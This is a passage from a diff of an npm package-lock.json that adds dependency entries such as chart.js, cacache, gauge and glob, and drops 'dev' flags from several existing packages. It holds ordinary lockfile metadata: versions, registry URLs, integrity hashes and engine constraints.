+    "node_modules/@tootallnate/once": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+      "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+      "optional": true,
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/@types/geojson": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/@types/geojson/-/geojson-1.0.6.tgz",
+      "integrity": "sha512-Xqg/lIZMrUd0VRmSRbCAewtwGZiAk3mEUDvV4op1tGl+LvyPcb/MIOSxTl9z+9+J+R4/vpjiCAT4xeKzH9ji1w=="
+    },
+    "node_modules/@types/node": {
+      "version": "22.5.5",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-22.5.5.tgz",
+      "integrity": "sha512-Xjs4y5UPO/CLdzpgR6GirZJx36yScjh73+2NlLlkFRSoQN8B0DpfXPdZGnvVmLRLOsqDpOfTNv7D9trgGhmOIA==",
+      "dependencies": {
+        "undici-types": "~6.19.2"
+      }
+    },
+    "node_modules/abbrev": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
+      "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==",
+      "optional": true
+    },
+    "node_modules/agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "optional": true,
+      "dependencies": {
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/agent-base/node_modules/debug": {
+      "version": "4.3.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
+      "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/agentkeepalive": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.5.0.tgz",
+      "integrity": "sha512-5GG/5IbQQpC9FpkRGsSvZI5QYeSCzlJHdpBQntCsuTOxhKD8lqKhrleg2Yi7yvMIf82Ycmmqln9U8V9qwEiJew==",
+      "optional": true,
+      "dependencies": {
+        "humanize-ms": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 8.0.0"
+      }
+    },
+    "node_modules/aggregate-error": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+      "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+      "optional": true,
+      "dependencies": {
+        "clean-stack": "^2.0.0",
+        "indent-string": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
     },
     "node_modules/ansi-styles": {
       "version": "3.2.1",
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
       "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-      "dev": true,
       "dependencies": {
         "color-convert": "^1.9.0"
       },
@@ -204,11 +297,140 @@
         "node": ">=4"
       }
     },
+    "node_modules/aproba": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz",
+      "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==",
+      "optional": true
+    },
+    "node_modules/are-we-there-yet": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz",
+      "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==",
+      "deprecated": "This package is no longer supported.",
+      "optional": true,
+      "dependencies": {
+        "delegates": "^1.0.0",
+        "readable-stream": "^3.6.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
+      }
+    },
+    "node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "optional": true
+    },
+    "node_modules/base64-js": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/bindings": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
+      "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
+      "dependencies": {
+        "file-uri-to-path": "1.0.0"
+      }
+    },
+    "node_modules/bl": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
+      "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+      "dependencies": {
+        "buffer": "^5.5.0",
+        "inherits": "^2.0.4",
+        "readable-stream": "^3.4.0"
+      }
+    },
+    "node_modules/bluebird": {
+      "version": "3.7.2",
+      "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+    },
+    "node_modules/brace-expansion": {
+      "version": "1.1.11",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "optional": true,
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/buffer": {
+      "version": "5.7.1",
+      "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+      "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "dependencies": {
+        "base64-js": "^1.3.1",
+        "ieee754": "^1.1.13"
+      }
+    },
+    "node_modules/cacache": {
+      "version": "15.3.0",
+      "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz",
+      "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==",
+      "optional": true,
+      "dependencies": {
+        "@npmcli/fs": "^1.0.0",
+        "@npmcli/move-file": "^1.0.1",
+        "chownr": "^2.0.0",
+        "fs-minipass": "^2.0.0",
+        "glob": "^7.1.4",
+        "infer-owner": "^1.0.4",
+        "lru-cache": "^6.0.0",
+        "minipass": "^3.1.1",
+        "minipass-collect": "^1.0.2",
+        "minipass-flush": "^1.0.5",
+        "minipass-pipeline": "^1.2.2",
+        "mkdirp": "^1.0.3",
+        "p-map": "^4.0.0",
+        "promise-inflight": "^1.0.1",
+        "rimraf": "^3.0.2",
+        "ssri": "^8.0.1",
+        "tar": "^6.0.2",
+        "unique-filename": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
     "node_modules/chalk": {
       "version": "2.4.2",
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
       "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-      "dev": true,
       "dependencies": {
         "ansi-styles": "^3.2.1",
         "escape-string-regexp": "^1.0.5",
@@ -218,41 +440,236 @@
         "node": ">=4"
       }
     },
+    "node_modules/chart.js": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-2.8.0.tgz",
+      "integrity": "sha512-Di3wUL4BFvqI5FB5K26aQ+hvWh8wnP9A3DWGvXHVkO13D3DSnaSsdZx29cXlEsYKVkn1E2az+ZYFS4t0zi8x0w==",
+      "dependencies": {
+        "chartjs-color": "^2.1.0",
+        "moment": "^2.10.2"
+      }
+    },
+    "node_modules/chartist": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/chartist/-/chartist-0.3.0.tgz",
+      "integrity": "sha512-mQuyWZLXMRDcIEawKTsmNxDH14YwiAXPmRlW3yyS7sLyx+zOYDgxWyKuLwsooX49jUcZw7JXSeaEA/WwdGRfzg==",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/chartjs-color": {
+      "version": "2.4.1",
+      "resolved": "https://registry.npmjs.org/chartjs-color/-/chartjs-color-2.4.1.tgz",
+      "integrity": "sha512-haqOg1+Yebys/Ts/9bLo/BqUcONQOdr/hoEr2LLTRl6C5LXctUdHxsCYfvQVg5JIxITrfCNUDr4ntqmQk9+/0w==",
+      "dependencies": {
+        "chartjs-color-string": "^0.6.0",
+        "color-convert": "^1.9.3"
+      }
+    },
+    "node_modules/chartjs-color-string": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/chartjs-color-string/-/chartjs-color-string-0.6.0.tgz",
+      "integrity": "sha512-TIB5OKn1hPJvO7JcteW4WY/63v6KwEdt6udfnDE9iCAZgy+V4SrbSxoIbTw/xkUIapjEI4ExGtD0+6D3KyFd7A==",
+      "dependencies": {
+        "color-name": "^1.0.0"
+      }
+    },
+    "node_modules/chownr": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
+      "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/clean-stack": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+      "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
+      "optional": true,
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/cls-bluebird": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/cls-bluebird/-/cls-bluebird-2.1.0.tgz",
+      "integrity": "sha512-XVb0RPmHQyy35Tz9z34gvtUcBKUK8A/1xkGCyeFc9B0C7Zr5SysgFaswRVdwI5NEMcO+3JKlIDGIOgERSn9NdA==",
+      "dependencies": {
+        "is-bluebird": "^1.0.2",
+        "shimmer": "^1.1.0"
+      }
+    },
     "node_modules/color-convert": {
       "version": "1.9.3",
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
       "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-      "dev": true,
       "dependencies": {
         "color-name": "1.1.3"
       }
     },
-    "node_modules/color-name": {
+    "node_modules/color-convert/node_modules/color-name": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
-      "dev": true
+      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="
+    },
+    "node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/color-support": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
+      "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
+      "optional": true,
+      "bin": {
+        "color-support": "bin.js"
+      }
+    },
+    "node_modules/component-props": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/component-props/-/component-props-1.1.1.tgz",
+      "integrity": "sha512-69pIRJs9fCCHRqCz3390YF2LV1Lu6iEMZ5zuVqqUn+G20V9BNXlMs0cWawWeW9g4Ynmg29JmkG6R7/lUJoGd1Q=="
+    },
+    "node_modules/component-xor": {
+      "version": "0.0.4",
+      "resolved": "https://registry.npmjs.org/component-xor/-/component-xor-0.0.4.tgz",
+      "integrity": "sha512-ZIt6sla8gfo+AFVRZoZOertcnD5LJaY2T9CKE2j13NJxQt/mUafD69Bl7/Y4AnpI2LGjiXH7cOfJDx/n2G9edA=="
+    },
+    "node_modules/concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+      "optional": true
+    },
+    "node_modules/console-control-strings": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
+      "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==",
+      "optional": true
     },
     "node_modules/convert-source-map": {
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
-      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
-      "dev": true
+      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A=="
     },
     "node_modules/debug": {
       "version": "3.2.7",
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
-      "dev": true,
       "dependencies": {
         "ms": "^2.1.1"
       }
     },
+    "node_modules/decompress-response": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
+      "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+      "dependencies": {
+        "mimic-response": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/deep-extend": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
+      "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/delegates": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+      "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==",
+      "optional": true
+    },
+    "node_modules/denque": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/denque/-/denque-2.1.0.tgz",
+      "integrity": "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==",
+      "engines": {
+        "node": ">=0.10"
+      }
+    },
+    "node_modules/depd": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+      "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/detect-libc": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.3.tgz",
+      "integrity": "sha512-bwy0MGW55bG41VqxxypOsdSdGqLwXPI/focwgTYCFMbdUiBAxLg9CFzG08sz2aqzknwiX7Hkl0bQENjg8iLByw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/dom-iterator": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/dom-iterator/-/dom-iterator-1.0.0.tgz",
+      "integrity": "sha512-7dsMOQI07EMU98gQM8NSB3GsAiIeBYIPKpnxR3c9xOvdvBjChAcOM0iJ222I3p5xyiZO9e5oggkNaCusuTdYig==",
+      "dependencies": {
+        "component-props": "1.1.1",
+        "component-xor": "0.0.4"
+      }
+    },
+    "node_modules/dottie": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/dottie/-/dottie-2.0.6.tgz",
+      "integrity": "sha512-iGCHkfUc5kFekGiqhe8B/mdaurD+lakO9txNnTvKtA6PISrw86LgqHvRzWYPyoE2Ph5aMIrCw9/uko6XHTKCwA=="
+    },
+    "node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "optional": true
+    },
+    "node_modules/encoding": {
+      "version": "0.1.13",
+      "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz",
+      "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==",
+      "optional": true,
+      "dependencies": {
+        "iconv-lite": "^0.6.2"
+      }
+    },
+    "node_modules/end-of-stream": {
+      "version": "1.4.4",
+      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
+      "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+      "dependencies": {
+        "once": "^1.4.0"
+      }
+    },
+    "node_modules/env-paths": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
+      "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
+      "optional": true,
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/err-code": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz",
+      "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==",
+      "optional": true
+    },
     "node_modules/escape-string-regexp": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
-      "dev": true,
       "engines": {
         "node": ">=0.8.0"
       }
@@ -261,43 +678,147 @@
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
       "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
-      "dev": true,
       "engines": {
         "node": ">=0.10.0"
       }
     },
+    "node_modules/expand-template": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
+      "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/file-uri-to-path": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
+      "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
+    },
+    "node_modules/fs-constants": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
+      "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow=="
+    },
+    "node_modules/fs-minipass": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
+      "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
+      "dependencies": {
+        "minipass": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/fs.realpath": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+      "optional": true
+    },
     "node_modules/function-bind": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
       "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
-      "dev": true,
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/gauge": {
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz",
+      "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==",
+      "deprecated": "This package is no longer supported.",
+      "optional": true,
+      "dependencies": {
+        "aproba": "^1.0.3 || ^2.0.0",
+        "color-support": "^1.1.3",
+        "console-control-strings": "^1.1.0",
+        "has-unicode": "^2.0.1",
+        "signal-exit": "^3.0.7",
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1",
+        "wide-align": "^1.1.5"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
+      }
+    },
+    "node_modules/generate-function": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.3.1.tgz",
+      "integrity": "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==",
+      "dependencies": {
+        "is-property": "^1.0.2"
+      }
+    },
+    "node_modules/generic-pool": {
+      "version": "3.5.0",
+      "resolved": "https://registry.npmjs.org/generic-pool/-/generic-pool-3.5.0.tgz",
+      "integrity": "sha512-dEkxmX+egB2o4NR80c/q+xzLLzLX+k68/K8xv81XprD+Sk7ZtP14VugeCz+fUwv5FzpWq40pPtAkzPRqT8ka9w==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/github-from-package": {
+      "version": "0.0.0",
+      "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
+      "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw=="
+    },
+    "node_modules/glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Glob versions prior to v9 are no longer supported",
+      "optional": true,
+      "dependencies": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      },
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
     "node_modules/globals": {
       "version": "11.12.0",
       "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
       "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
-      "dev": true,
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/graceful-fs": {
+      "version": "4.2.11",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+      "optional": true
+    },
     "node_modules/has-flag": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
       "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
-      "dev": true,
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/has-unicode": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
